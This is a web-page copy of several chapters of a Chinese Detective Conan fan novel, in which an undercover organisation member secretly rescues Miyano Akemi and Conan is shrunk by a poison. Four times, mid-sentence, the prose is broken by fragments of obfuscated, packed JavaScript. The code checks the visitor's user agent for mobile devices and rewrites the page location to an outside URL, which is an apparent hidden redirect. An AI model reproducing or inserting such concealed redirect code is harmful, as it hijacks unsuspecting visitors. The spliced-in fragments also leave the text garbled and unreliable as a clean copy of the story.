l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674958|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假面超人啊,清浅。 诸伏景光失笑,想起小时候弟弟举着集齐的卡牌,眼睛亮晶晶向他炫耀的模样。 松田阵平对此倒是习以为常。每当新卡上市而“浅井尘”恰巧在外采风时,他和萩原便会主动帮忙端两盒,等到人回来,三人再凑在一起拆卡,手气最差的那个负责请客吃饭。 “走吧,进去端两盒?” 结账后,他们干脆在店内的休息区坐下,将卡包平分,准备现场拆卡。 令人惊讶的是,运气最好的竟然是伊达航。 他几乎是随手一拆,就抽中了本次盒弹里的两张隐藏卡,画面炫酷,材质特殊,引得萩原研二大呼“班长的现充光环难道连抽卡都适用吗”。 诸伏清浅也低头认真拆自己的卡包,指尖小心翼翼地摸索着卡片的边缘和厚度。他虽然看不见,但能通过触感判断一些特殊工艺。 当他摸到某张卡时,动作停了一下,然后将它递给了旁边的景光哥。 诸伏景光接过,看了一眼,眼中掠过一丝讶异,随即温柔地笑了:“是这张啊……弥生运气也很好呢。” 那是一张画面非常温馨的、限量版的团体卡。 * 当天空渐渐染上墨蓝,星星点点的灯火亮起时,他们就知道要结束了。 米花町的犯罪率已经上升到一个令外地人大惊失色的地步,伊达航、松田阵平和萩原研二能挤出一天休息时间已是万幸,明天还要继续上班。 降谷零因着道恩的提醒决定回公安一趟,处理一下港口仓库的后续事宜。 到了最后,也只剩宫川浅井俩兄妹自己回去。 两人并肩,慢慢朝着浅井宅的方向走去。夜幕低垂,路灯将两人的影子拉得长长的。 这一次,“浅井弥生”没有再去揪兄长的衣角,只是安静地走在他身侧,距离很近。 走了一段路,远离了商场的喧嚣,周围只剩下寂静的街道和偶尔驶过的车辆声。 一直沉默的诸伏景光忽然开口,声音很轻,仿佛怕惊扰了这片刻的安宁: “清浅。” 他没有用“弥生”这个假名。 披着羊绒开衫的“少女”脚步几不可查地顿了一下,没有回应,但显然在听。 “今天……很开心。”诸伏景光继续说道,目光望着前方被路灯照亮的街道,语气里带着一种如释重负的温柔。 他顿了顿,侧过头,仿佛要透过易/容看着自己弟弟真是的外貌。 “虽然还有很多事情没有解决,前路也依旧艰难。但是,”他的声音愈发坚定和温暖,“像今天这样休息一下,感觉……真的很好。” “所以,以后……”他斟酌着词句,“如果觉得累了,撑不住了,不要再一个人逃走,或者把自己关起来了。” “我们都在这里。” 夜风吹拂着“少女”栗色的假发,“她”沉默地走着,过了好一会儿,就在诸伏景光以为不会得到回答时,他听到了一声极轻、极轻的,几乎被风吹散的气音: “……嗯。” 91.柯学元年 温暖的时光无法久驻,当诸伏清浅在浅井宅内卸下所有伪装,重新变回那个行走于阴影之中的夏特勒兹时,意味着短暂的离桌休息已然结束。 他必须再次回到那张由谎言、血腥与阴谋构筑的牌桌前,拾起筹码,继续这场命悬一线的生死博弈。 1993年,仿佛一切都被按下了加速键。 板仓卓在组织无形的压力下被迫开始了某项神秘软件的研发; 遵循boss的命令,雪莉在琴酒和伏特加的护送下前往人鱼岛探寻长生的秘密; 国内接连的卧底清除行动虽卓有成效,却似乎仍未让boss完全满意。一纸调令,夏特勒兹被派往海外进一步肃清国际分部潜藏的老鼠。 于是清浅顺势以此为掩护,开始更系统地整合多年搜集的情报,并与各国官方机构建立联系,为未来的总攻编织一张无形的网; 伊森本堂在夏特勒兹的暗中推动下通过代号考核,获得代号田纳西威士忌,进一步接触组织核心; 而在纽约,贝尔摩德遭遇了一场由赤井秀一主导的FBI围剿。生死一线间,她却被两位天使救下。 * “[这么狼狈还真是罕见。]” 银发杀人魔捂着腹部的伤口,拉开车门钻进后座后就听到这机械的电子音,声音里听不出是关心还是嘲讽,只有纯粹的陈述。 “……哼,被摆了一道。”低磁性感的女声说着,伸手利落地撕下脸上的易/容面具,银色的长发倾泻散开。 “[被赤井秀一坑了?]”蒙眼青年嗅到混杂了雨水味道的血腥味。 贝尔摩德偏过头,看向窗外模糊的雨幕,语气忽然带上了一种奇异的、近乎缥缈的柔和:“还好……我遇到了天使,不然就真的栽在那里了。” 她刻意使用了这个词汇,带着一种微妙的疏离。然而,预想中的不解或嗤笑并未到来。 回应她的,是夏特勒兹依旧平稳的电子音:“[是吗,那你得好好守护好自己的珍宝。]” 贝尔摩德擦拭脸上雨水的手指几不可查地一顿。 “[不要让你的天使被折断了翅膀。]” 话音落下的瞬间,贝尔摩德猛地转头,冰蓝色的眼眸中首次露出了真正的震惊与警惕,锐利的目光刺向青年。 他知道了?! 他不仅知道她遇到了“天使”,他甚至知道具体的个体? 他当时也在现场?还是他的情报网已经渗透到了如此可怕的地步? 她红唇勾起一个极具风情的弧度,试图将这场危险的对话拉入她熟悉的充满暧昧与误导的领域。 “你在…嫉妒?” 她轻笑着,用词精准而恶毒,试图将对方定位为一个求而不得因而出言威胁的可怜虫。 夏特勒兹没有立刻回答。 正当她以为自己的反击奏效时,电子音再次平静叙述。 “[我当年,]”他仿佛在说一件与自己无关的事,“[不就是被你,拽下深渊的吗。]” “[尽管你确实救了我。]” 贝尔摩德脸上的表情瞬间凝固。 她救了他,从山崖下,从濒死的边缘; 但也是她,将这个与光明仅有一线之隔的孩子,带回了组织,亲手送进了那个将人打磨成凶器的训练营,彻底将他拽入黑暗。 夏特勒兹的存在本身,就像一面冰冷的镜子,映照出她自身的矛盾与不堪。 她厌恶组织,厌恶效忠于组织的鹰犬,此刻却惊觉,眼前这条她所以为的忠犬,正是她亲手参与塑造的产物。 她试图在别处寻找光明和救赎,而她的“罪证”就坐在对面,无声地审判着她的徒劳。 于是她放弃了掩饰与伪装,自嘲似的轻笑一声,撇过头去不再说话了。 * 不久之后,组织核心科研项目取得突破性进展——由雪莉主导完成的APTX-4869被正式提交。夏特勒兹作为高层,自然也拿到了样品。 小巧的红白胶囊置于掌心,轻飘飘的,但诸伏清浅仿佛能感受到其未来牵连着的几十条人命的重量,以及—— 这是开启终局的钥匙。 然后,时间之河汹涌地流淌,无可阻挡地冲入1994年。 * “我跟你说啊,那个时候华生……” 在报纸上崭露头角的高中生侦探意气风发,和自己的青梅竹马讨论着心爱的福尔摩斯以及即将到来的多罗碧加游乐园之行。 少女听着心上人的絮絮叨叨,嘴角挂着无奈却温和的笑意; 被愤怒蒙蔽了双眼的女士带上了含有特别意义的珍珠项链,在心底悲伤地和那段美好却早已裂痕遍布的记忆告别; “伏特加,走了。” “是,大哥。” 在阳光照射不到的角落,银发的Top Killer在原地伫立半晌,待身上的硝烟味和血腥味散去后才提着手提箱上了自己的古董车; 茶色短发的天才科学家在保镖的护送与监视下前往约定好的咖啡厅,与许久未见的家人见面; 一年级的三位小朋友在公园愉快地踢着足球; “话说班长打算什么时候结婚?我记得去年你和女朋友就已经互相见过家长了吧?”松田阵平和自家幼驯染以及班长碰了个杯。 难得班长愿意从陪女朋友的假期中匀出一天用来和他们两个单身汉联络感情,自然要出去好好聚个餐。 闻言身材魁梧的伊达航挠了挠头,憨憨一笑。 “啊,这个嘛……我不是寻思着让你们来当伴郎,但现在那几位怎么也联系不上……” 萩原研二敏锐的洞察力让他瞬间明白了昔日班长的顾虑:“班长该不会是想等那两个家伙回来再结婚?来间小姐会有意见的吧?” “哈?班长才不用管那两个混蛋,婚期定下就直接宣布,到时候那两个家伙不来也得来。”松田阵平眯了眯眼,“他们敢不来我们就去套麻袋绑过来。” “啊……”伊达航犹豫了一下,还是说道,“我其实还想邀请浅井来着。” 话音落下,三人间出现了短暂的沉默。 “小浅井的话……”萩原研二轻声说。 “一定来得了的。”松田阵平斩钉截铁地打断,像是在陈述一个必将实现的未来。 那个笼罩一切的黑影,一定会被摧毁。 已经在幼驯染和弟弟的帮助下重新和警察厅(是的不是警视厅)建立联系、并进入公安零组的诸伏景光莫名其妙地打了个喷嚏,狐疑地确认了一番脸上的易/容没问题后,重新挂起温和的笑容迎接咖啡厅的客人。 * 命运的齿轮,在多罗碧加游乐园的云霄飞车下,开始了无可逆转的疯狂转动。 “犯人,就是你!” 轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688281|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而易举推理出凶手杀人方法的高中生侦探工藤新一指出犯人,在一番证据确凿的解说下凶手小姐跪下痛哭流涕阐述动机,警察带走犯人处理现场满意收队,只留侦探的未来女友被坏了游玩的兴致,闷闷不乐。 更不用说侦探的直男发言雪上加霜:“这种事情以后就会习惯了。” 妈的,毁灭吧,这种人就应该和杀人案结婚。 学校空手道主将捏了捏拳头,额角仿佛有青筋跳动,仿佛下一秒就能让旁边的竹马脑袋开花。 敏锐察觉到一丝杀气的侦探汗颜,正准备哄一哄自己的青梅,余光瞥见云霄飞车上可疑的黑衣男子之一提着一个手提箱匆匆忙忙的离开。 可疑的行径如逗猫棒般瞬间勾起侦探追寻真相的本能。匆匆和青梅告别后勇往直前,缀在黑衣的大块头身后试图拿到第一手犯罪证据。 侦探的道行显然不足,直到脚步声接近才发现身后竟然还有一个同伙。 琴酒大帝一记闷棍,敲得高中生侦探神志不清,敲得交易中的伏特加一个激灵,敲得时间线陡然絮乱。 “大哥,要灭口吗?”伏特加低声询问。 “刚刚发生命案,条子还没走远。”琴酒的声音冰冷如铁,“开枪过于冒险,容易惹事上身。” 他垂眸看着地上昏迷不醒的侦探,从风衣内袋里取出一个密封的药盒。 “不过,正好可以用他来试试组织新开发的毒药。”他粗暴地撬开工藤新一的嘴,将红白相间的胶囊塞了进去,“一旦毒发死亡,也查不出任何死因。” “走了,伏特加,下一个任务。” “是,大哥。” 两名黑衣人利落地清理掉所有痕迹,毫不留恋地转身离去,只留下少年侦探一人在冰冷的夜色中,承受着药物带来的、撕心裂肺的痛苦。 可恶……好疼!心脏,心脏快要爆/炸了……要死了吗…… 难以言喻的剧痛席卷了每一根神经,他想要嘶声呐喊,喉咙却像被无形的手扼住,声带剧烈震动,却只能挤出几声破碎的、不成调的呜咽。 额角被击伤处流下的鲜血模糊了视线,鼻腔里充斥着令人作呕的铁锈味。 骨头仿佛正在被某种力量强行碾碎、融化,这非人的痛楚让他不受控制地痉挛、挣扎,指尖在身下的泥土地上抓挠出凌乱而深刻的痕迹,甚至混杂着丝丝血迹。 他大口喘息,却感觉不到一丝氧气流入肺叶。 工藤新一在极致的痛苦中,甚至萌生了就此死去的念头。 啊啊啊啊啊——! 然而,预想中的死亡并未降临。在经历了一番仿佛要将灵魂都撕裂重组的折磨后,带来的竟是躯体不可思议的缩小。 在手电筒刺眼的光芒照射下,在游乐园保安惊疑不定的呼喊声中,一个孩童模样的身影,一脸茫然地、摇摇晃晃地坐起身来。 江户川柯南,就此诞生。 远在国外,刚脱下带血的手套走出审讯室,诸伏清浅的步伐微微一顿。 系统提示音仿佛在诸伏清浅,也在整个世界的意识中无声响起—— 【剧情节点“工藤新一变小” 已完成】 【已脱离主世界】 【“柯学元年”正式开启】 自此,时间的法则被改写,案件的密度以违反常理的方式激增。一个全新的、既荒谬又热血的时代——柯学元年,轰然降临。 92.觉悟 我是高中生侦探工藤新一,不久前和青梅竹马兼同期生的毛利兰到多罗碧加游乐园玩的时候,目击了黑衣人的可疑交易现场。 当时我只顾着偷看交易,却没注意到从我背后走过来的另一个同伙。 我被那名男子强灌了毒药,等我醒过来,我的身体已经缩小了。 要是被他们发现工藤新一还活着,不但我的性命难保,还会危害到我周遭的亲人。在阿笠博士的建议下,我隐瞒了身份,当小兰问及我的名字,情急之下,我化名为—— 江户川柯南。 为了搜集那些家伙的情报,我住进了父亲以侦探为业的小兰家中—— “大概就是这样……我说可以了吧?你们两个混账大人。”稚嫩的童音在酒店套房内响起,带着与外貌极不相符的沉重。 被迫缩小的名侦探——江户川柯南,或者说,工藤新一的意识正被困在这具小小的身体里。 他双手抱臂,气鼓鼓地深陷在柔软的沙发中,仿佛想用这种方式表达自己最大的抗/议。 天杀的,这群可恶的大人竟然敢假扮那些黑衣人吓唬我! “啊哈哈……”假扮成暗夜男爵、刚刚卸下恐怖装扮的工藤优作,脸上露出了些许心虚的笑容,试图缓和气氛。“我们这不是担心你嘛。” 工藤有希子装作委屈附和道:“就是嘛!我们回到日本才发现你失踪了。 好不容易从阿笠博士那里问出实情,才知道小新你竟然遭遇了这么可怕的事情……” “然后你们就设计出这么可恶的恶作剧来吗?”柯南越想越气,小小的拳头都攥紧了,“我刚才真的以为要被灭口了!” 看着儿子惊魂未定又怒火中烧的模样,工藤优作终于收敛了脸上戏谑的笑容。 他深吸一口气,神情变得严肃而沉稳,属于世界知名推理小说家的敏锐与父亲的担忧同时在他眼中浮现。 “既然如此,”工藤优作的声音低沉下来,带着不容置疑的认真。“新一,跟我们离开日本吧。现在这个国家对你来说太危险了。” 柯南愣住了,他完全没预料到父亲会提出这样的建议。 “琴酒,伏特加,”工藤优作缓缓道出那两个令人不寒而栗的代号,随即又补充了一个名字,“以及——那位已被灭口的,广田雅美小姐。” 每一个名字都像一块冰冷的石头,砸在柯南的心上,让他陷入沉默。 * 夜晚的港口安静得不可思议,反而衬得那一声枪声如此惊愕且措不及防。 当他与小兰循声赶到时,只看见广田雅美捂着中弹的腹部,无力地倒在冰冷的地面上。 暗红色的血液正从她的指缝间不断渗出,在她身下洇开一片不祥的痕迹。 “雅、雅美小姐!!”小兰惊恐地捂住嘴。 “小兰姐姐,快叫救护车!顺便通知叔叔他们!”他说着冲上前,跪在广田雅美身边,双手死死按在流血不止的伤口上。 然而,小孩子的手掌太小了,无论如何用力,都无法阻挡生命随着温热的血液汩汩向外流逝。 “不……不用……”广田雅美虚弱地摇头,声音气若游丝。“来……来不及了……” “你别说话!”眼镜男孩咬着牙低吼,额角急出了冷汗,“说话会让伤口……” “你……咳咳……”广田雅美艰难地咳出一口血沫,目光涣散地聚焦在眼前的孩子脸上, “你是……侦探事务所的那个孩子吧?你……怎么知道我在这里……” 江户川柯南沉默了一瞬。面对一个将死之人,隐瞒似乎已无意义。于是他深吸一口气,将自己的观察与推理简洁陈述出来。 “这样啊……真是厉害……”和志保一样,都是很聪明的孩子呢。 她喘息着,用尽力气问出最后一个问题,“你到底是……?” “江户川……不。”柯南顿了顿,镜片后的目光变得无比坚定,他报出了那个属于他真实身份的名字。 “工藤新一,是个侦探!” 侦探……吗。 “可惜……就算计划再怎么周详……最终……所有人都难逃一死……难逃于……组织的毒手……” “组织?”柯南的心猛地一紧。 “是啊……组织……”她的眼神开始失去焦点,仿佛在凝视着无尽的黑暗,“一个被层层谜团包围的……巨大组织…… 我是最基层的成员……只知道……组织的代表色是黑色……成员都穿着……像乌鸦一样的衣服……” 黑色的衣服……像乌鸦一样…… 难道……是那两个害我变成这样的黑衣男人?!柯南的瞳孔骤然收缩。 啪。 就在这时,一只冰冷而沾满血迹的手,用尽最后力气猛地抓住了他的手臂! “我最后……想请你帮一个忙……”躺在地上的女人似乎已经感觉不到伤口的疼痛,所有的意志都凝聚在这临终的托付上。 “装有十亿日元的箱子……我寄放在了旅馆的柜台……希望你能……赶在那些家伙之前拿到……小……!” 雅美的声音戛然而止,她涣散的瞳孔猛地聚焦在柯南身后,瞬间瞪大。 ……欸? 小心?小心什么? 柯南顺着她最后的视线愕然回头,后颈处便传来一阵尖锐的剧痛! 他甚至来不及看清袭击者的模样,意识便如同断线的风筝,迅速沉入了无边的黑暗。 …… 到了最后,是带着医生赶来的小兰和小五郎大叔叫醒了他。 当他挣扎着从昏迷中苏醒时,原地除了那一大滩已经半凝固的触目惊心的暗红血迹,早已失去了广田雅美的踪影。 10亿日元最终在旅馆的柜台被找回,但大家都心知肚明,依照现场遗留的血量判断,雅美小姐生还的希望极其渺茫。 她或许早已被那个冷酷无情的组织的同伙,像清理垃圾一样,将尸体也彻底回收了。 * “想必你也大概知道了,自己是在面对一个怎样的庞然大物了吧?” 父亲沉稳却不容置疑的声音将柯南的思绪扯回。 “别担心,我有朋友在国际刑警组织工作,我已经委托他们调查那个黑衣人所在的组织。 等药弄到手了,你的身体就有恢复的机会……” “所以,新一,停下你的侦探游戏吧。” ……停下? 他沉默地在心中反复咀嚼这两个字。 是的,他无法否认。 从琴酒和伏特加展现出的冷酷高效,从雅美小姐绝望的描述,从这能让人返老还童的匪夷所思的毒药……这一切都清晰地指向一个事实—— 他所面对的,是一个根基深厚、手段莫测的庞然大物。 就连他这位见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702492|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多识广、智慧超群的父亲,此刻给出的最优解也是“暂避锋芒,远走他乡”。 理性在告诉他,父亲的选择是正确的,是风险最低的。 可是,可是—— 他会就此认输吗?会像一个逃兵一样,躲到世界的角落,仅仅是被动地等待着一份可能永远也不会到来的解药吗? “我拒绝。” 清晰的、带着少年独有的执拗与坚定的声音,在房间里响起,打破了短暂的寂静。 他不会。 “我不会走的。”柯南抬起头,镜片后的双眼没有丝毫迷茫,仿佛有星辰在其中燃烧。“这是我的事情,我会自己解决!” 他是谁?他是平成年代的福尔摩斯,是工藤新一! 侦探的使命,不就是无论对手多么强大,无论前路多么黑暗,都要义无反顾地追寻真相,直至水落石出吗? 逃避,从来不在他的选项之中。 他会用他自己的方式,用属于侦探的方式,一层一层地剥开他们的伪装,揭露他们的罪行。 雅美小姐的悲剧不能重演,这个肆意剥夺他人生命、践踏法律与正义的组织……他必须亲手将他们绳之以法! 这不再仅仅是为了恢复身体,更是为了那份属于侦探的骄傲,为了那份对生命与真相最根本的守护。 他工藤新一,绝不会后退半步! …… “……我明白了。” 那双晴蓝色眼睛里燃烧的火焰,他是如此熟悉,与他年轻时追寻真相时的执着如出一辙。 工藤优作脸上的严肃渐渐化开,最终化作一声包含着复杂情绪的、极轻的叹息与浅笑。 他选择尊重儿子的意志和觉悟,但同时他也收敛了笑意,语气带着不容反驳的坚决: “不过,话要说在前头,新一。如果你有危险——” 他的目光锐利如鹰,“就算是生拉硬拽,我也会把你带到国外的。” 这是他所能做的最大程度的让步。 于是乎,翌日清晨,江户川柯南在其母亲江户川文代的恳求与托付下,再次寄住于毛利侦探事务所。 * 冬日的上午,阳光显得有气无力,无法驱散空气中的寒意。 “……所以啊,博士,”柯南一边走着,一边对身旁的发明家抱怨。 “你既然都能做出那种能完美伪装成年人声音的变声器和增强脚力鞋了,为什么就不能想办法,做一个和我一模一样的机器人去应付小兰呢?” “都说了这种事情不可能的啦,新一……欸?” 中午时分,柯南以“去阿笠博士家吃午饭”为由离开了侦探事务所,随后在一家飘着香甜气息的甜品店门口,找到了正提着刚出炉小蛋糕的阿笠博士。 两人汇合后,便一同沿着覆雪的人行道,慢慢朝着阿笠宅的方向走去。 积雪在脚下发出“嘎吱嘎吱”的轻响,在他们身后留下两串深深浅浅的脚印,一大一小。 快要走到家门口时,阿笠博士忽然放缓了脚步,有些诧异地推了推眼镜,望向不远处那个静立在雪中的身影。 “那是……浅井先生吧?” 只见,青年依旧缠着那标志性的黑色缎带,遮住了双眼,身侧立着一个不大的行李箱,仿佛刚刚从远方归来。 凛冽的空气中,他微微仰头,于天地一片雪白间缓缓呼出一口白雾。 93.明美的便当 ……失策了。 诸伏清浅站在家门口,呆滞地如此想道。 虽然他对时间线的混乱早有心理准备,但在海外执行任务时这种感觉尚不鲜明。 然而一旦回到日本这里的主场,时空的错乱感便变得无比棘手。 ——不是暮春了吗现在,怎么一下子给我/干到严冬了? 他呆滞地打开系统面板,然后发现了更糟糕的事情。 ……请问,为什么3月12号后面跟着的是12月5号?还有,1994年的后续月份是被什么东西吞噬了吗? 那个“日历待更新”又是什么鬼?! 穿着薄外套站在冰天雪地里的诸伏清浅麻了,他认命地叹了口气,正准备摸索钥匙开门,不远处却传来一个极具辨识度的声音—— 蒙眼青年一愣,顺着声音的方向望去,系统面板适时调出地图定位,绿色标记旁金灿灿的定位标记熠熠生辉。 啊哈哈,位面之子嘛…… 诸伏清浅的目光下意识游移了一下。 ……前几天他才把人敲晕了来着。 * 诸伏清浅当初为了拿到常驻日本的机会,自愿将自己在海外一手建立、蓬勃发展的势力与权柄尽数交还给了组织的那位先生。 但这绝非放弃,而是一个绝佳的机会,让他能将自己早已发现的各国卧底钉子埋得更深,更好地收集情报。 如今时机成熟,他花了些力气与昔日埋藏的暗桩钉子联系上,重新连接上那张巨大的情报网,赶在时间线彻底暴走之前将海外的事务与情报梳理整合完毕,然后买了机票瞒着组织秘密回了日本。 一旦柯学元年正式降临,时间坐标将彻底失灵。到那时,许多关键节点转瞬即逝,他必须在日本紧紧盯住每一丝风吹草动,才能从这混沌的时局中抢夺出一线生机。 宫野明美死亡的节点太过靠前,而且没有明确的日期和地点,诸伏清浅只能在组织内网的八卦帖子中潜水,尝试从中拿到相关消息。 【狙击组打卡多罗碧加摩天轮……那个游乐园的门票不是挺贵的吗?哦琴酒报销……啥?琴酒报销?!】 【贝尔摩德又有新的绯闻,卡尔瓦多斯情敌暗杀名单又添一员大将!】 【最近有谁惹了阿尼赛特?来我的酒吧点了酒又不喝,玩我呢?!】 【朗姆为什么不给加班费?情报组何时揭竿起义!】 【补药再为难后勤财务部了!!!我他妈真的不想给一箱可乐批报销单!……除非你分我两罐。】 诸伏清浅……诸伏清浅看八卦看得差点忘记正事。 直到新闻播报了十亿日元运钞车抢劫案,他才猛地惊醒,一路追踪相关信息,终于掐准时间,在夜晚抵达进行最终交易的废弃港口。 “是啊……组织……” 他听见逐渐虚弱的女性向小孩告诫着鸦群的危险。 “一个被层层谜团包围的……巨大组织……我是最基层的成员…… 只知道……组织的代表色是黑色……成员都穿着……像乌鸦一样的衣服……” “我最后……想请你帮一个忙……” 躺在地上的女人临终托付,于是他收敛气息,从黑暗中迈步而出,如幽灵般来到小孩的身后。 “装有十亿日元的箱子……我寄放在了旅馆的柜台……希望你能……赶在那些家伙之前拿到……小……!” 啪。 诸伏清浅一个手刀打晕了这位位面之子。 “!!!” 广田雅美——或者说,宫野明美,因这突如其来的变故睁大了那双温柔的蓝色眼睛,看着眼前这位在组织里有着赫赫威名的蒙眼青年。 “夏特……勒兹……” 组织的注视如影随形,甚至连她这具即将冷却的尸体,组织都不愿放过,要派这位冷血的处刑人前来清理痕迹吗…… 她面露绝望。 不……至少……那孩子是无辜的! “哈啊啊啊——” 她听见蒙眼青年长长叹了口气,从袖口中滑出一管预先准备好的针剂,给她注入。 “我才出差不到一年,你怎么就和琴酒对上了。” 他的声音……?! 宫野明美此刻的震惊,甚至暂时压过了对那管不明液体的恐惧。 夏特勒兹……能开口说话? 气音微弱,却并非她想象中的冰冷与杀意,反而带着一种……责备的无奈? 这到底是怎么回事? 她的思维彻底混乱了,不知道是应该先震惊于这位组织高层核心成员不为人知的秘密,还是该先警惕这正快速流遍自己全身的药剂。 药效发作得极快,一股强烈的、无法抗拒的昏沉感如同潮水般涌上,迅速剥离着她残存的意识。 “等……”她艰难地想要发出声音,想要问清楚。 “放心,”似乎是看穿了她的恐惧与疑惑,夏特勒兹的气音再次响起,“我不会对这孩子动手。你妹妹那边我也会争取……” “在那之前,先睡一觉罢。” 意识沉入黑暗前,她听到他最后的低语,清晰而坚定,如同一道烙印,刻入了她即将涣散的神智: “毕竟——活着,才是一切一切的前提。” 原来……如此吗…… 并非处刑,而是……救援。 尽管有太多的疑问和不解,但在彻底失去意识的前一瞬,宫野明美从那平淡的语气里,捕捉到了一丝与她认知中组织成员截然不同的温度。 于是,她放弃了最后一丝强行保持清醒的挣扎,选择了相信这匪夷所思的帮助,任由自己的意识彻底断开。 * “浅井哥哥,你回来了啊。”柯南熟稔地和蒙眼青年打了个招呼。 他的这位邻居同样作为一位作家,为了采风寻找灵感满世界跑,可谓是神龙见首不见尾。 不过青年每一次回来都会带上一两份伴手礼给工藤宅。 自三年前老爸老妈定居美国,青年每次回来逗留的时间也变长了不少,时常带着他出去吃饭,青年的两位爆处班的警官朋友偶尔也来聚一聚,聚餐时会谈及一两嘴新闻上不曾报道的案件让他过把瘾。 说起来,确实有很长一段时间没见到对方了…… “[好久不见,阿笠博士。]”青年手机中特制的电子音平静响起,同时顺着声音传出的高度微微低头,“看”向了与他打招呼的柯南。 以及—— 好久不见,工藤新一。 “[这位孩子是……?]” 糟了!柯南心里咯噔一下,这才意识到浅井尘还不认识“江户川柯南”这个身份。他赶忙讪笑着挠了挠头,试图用小孩特有的语气弥补: “啊哈哈……是新一哥哥啦!他跟我提过浅井哥哥,说……嗯,浅井哥哥的气质很特别,很好认!” 他努力让自己的说辞听起来可信。 “[欸——是这样吗?]” 电子音拉长了调子,带着一丝不易察觉的玩味,“[我倒是没听新一君提起过,有这样一位聪明的小朋友呢。]” 只见蒙眼青年蹲下身和小孩“平视”,伸出右手。“[初次见面,我是浅井尘,是位自由职业者。]” “江户川柯南,是个侦探——”柯南说出了那句标志性的自我介绍,同时伸手回握。 然而,他回握住对方的手后发现了不对。 太冰了,而且—— “[啊哈哈……]”浅井尘似乎也立刻察觉到了,不动声色极其自然地收回了手,电子音里带上了一点因为体温问题而感到抱歉的笑意。 他顺势站起身,用轻松的口吻转移了话题,仿佛刚才的冰冷触感只是个无关紧要的小插曲: “[本来在澳大利亚待得挺惬意,结果没逍遥几天就被竹内编辑跨国追杀了。 幸好,不知道是哪位好心人举报了工藤老师的行踪,编辑大人调转枪口去追杀,咳,是去拜访他了。 总之,我算是侥幸逃过一劫。]” 合着您自己的稿子也还没写完啊!柯南嘴角微抽,脸上挂起了标志性的半月眼,配合地假笑了两声。 * 与江户川柯南见过面、回到浅井宅后,诸伏清浅犹豫了许久,最终还是打开手机,点开那个烂熟于心的加密号码。 已然几天过去,宫野明美被安置在浅井成实的诊所里昏迷,生命体征已经趋于平稳,但意识的回归尚需时日。 柯学元年已经到来,宫野明美是一个烫手山芋,也是一个潜在的、价值极高的筹码。 作为赤井家复杂关系中的一员,她不仅关系到MI6、FBI的后续合作,更关系到未来雪莉——灰原哀的信任。 交给公安吧,这是最好的选择。 但是—— 交给谁?怎么交? 若是以前,他或许会设计一个复杂的匿名计划,像黑客道恩那样,将情报悄无声息地送到公安门口,自己则彻底隐于幕后,不留下任何可能被追溯的痕迹。 但,他的计划已经接近收尾,最后的每一步都得谨慎对待,径直将情报送给公安或许还是稍欠考虑。 「“……如果觉得累了,撑不住了,不要再一个人逃走,或者把自己关起来。可以吗?”」 「“我们都在这里。”」 景光哥的声音清晰得仿佛就在耳边,于是他深吸了一口气,又缓缓吐出。 ……是啊,他必须保持谨慎。 但他已经不是一个人了。 嘟——嘟—— 规律的等待音自手机中传来。 * 午后的波洛咖啡店刚刚度过高峰期,空气中弥漫着咖啡的醇香和奶油的浓郁香气。 榎本梓端着刚烤好的吐司走向客人,而另一位店员——据说是店长在外旅游时碰到、盛情邀请后来到这里兼职的宫川景, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706508|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在吧台后熟练地准备食材。 就在这时,他口袋里属于“诸伏景光”的手机震动起来。这个号码知道的人极少,且通常不会在白天,尤其是他“工作”时间响起。 他对榎本梓小姐歉意一笑,快步走到连接后厨的储物间,关上门,隔绝了外面的声音。他看了一眼来电显示,心脏微微一紧——是清浅。 ——这还是清浅第一次联系他。 他立刻接起:“清浅?怎么了?” 电话那头沉默了两秒,然后传来诸伏清浅那特有的、嘶哑而平静的气音,但仔细听,似乎能捕捉到一丝极细微的紧绷: “你们公安……要不要筹码?” 这句话问得没头没脑,甚至带着点组织交易时特有的冰冷试探。诸伏景光愣住,一时间没能理解这突兀的开场白。 “……筹码?”他下意识地重复,大脑飞速运转,思考清浅可能指的是什么组织情报,或是某个关键人物。 “嗯……”电话那头的清浅应了一声,然后似乎陷入了某种组织语言的困难,声音更低了些,带着点罕见的支支吾吾的别扭。 “就是……我这边,有一个……人。可能,对你们有点用。” 诸伏景光没有催促,只是耐心地听着,心中那份担忧渐渐被一种奇异的预感取代。 清浅似乎深吸了一口气,终于把话说了出来,语速稍微快了点,像是怕自己后悔:“……宫野明美。我……把她从港口带出来了。琴酒以为她死了。” “……!”诸伏景光的呼吸瞬间一滞。 宫野明美。 